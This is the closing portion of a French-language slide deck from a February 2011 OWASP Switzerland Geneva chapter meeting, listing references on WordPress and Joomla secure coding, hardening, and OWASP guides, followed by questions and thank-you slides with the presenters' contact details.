Références Rapport Décembre 2010 de netobservatory.ch: http://www.netobservatory.ch/report/pdf/NetObs_Report_01.12.2010.pdf Water and Stone 2010 Open Source CMS Market Share Report Wordpress Exploit Scanner http://wordpress.org/extend/plugins/exploit-scanner/ Secure Coding with WordPress http://www.slideshare.net/markjaquith/secure-coding-with-wordpress-wordcamp-sf-2008-presentation-559310 (attention, recommande des fonctions dépréciées) WordPress Data Validation http://codex.wordpress.org/Data_Validation Joomla! Secure Code Guidelines http://docs.joomla.org/Secure_coding_guidelines Hardening WordPress http://codex.wordpress.org/Hardening_WordPress OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Références OWASP A Guide to Building Secure Web Applications and Web Services 2.0.1 (2005) http://switch.dl.sourceforge.net/project/owasp/Guide/2.0.1/OWASPGuide2.0.1.pdf OWASP Application Security Verification Standard 2009 – Web Application Standard OWASP Code Review Guide 2008 v1.1 OWASP Testing Guide 2008 v3.0 OWASP Top 10 2010 Edition Cryptool http://www.cryptool.org/ OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Questions? © flickr.com/people/eleaf OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011

Merci! Pour nous contacter: flora@advtools.com sebastien@advtools.com http://www.advtools.com/blog OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011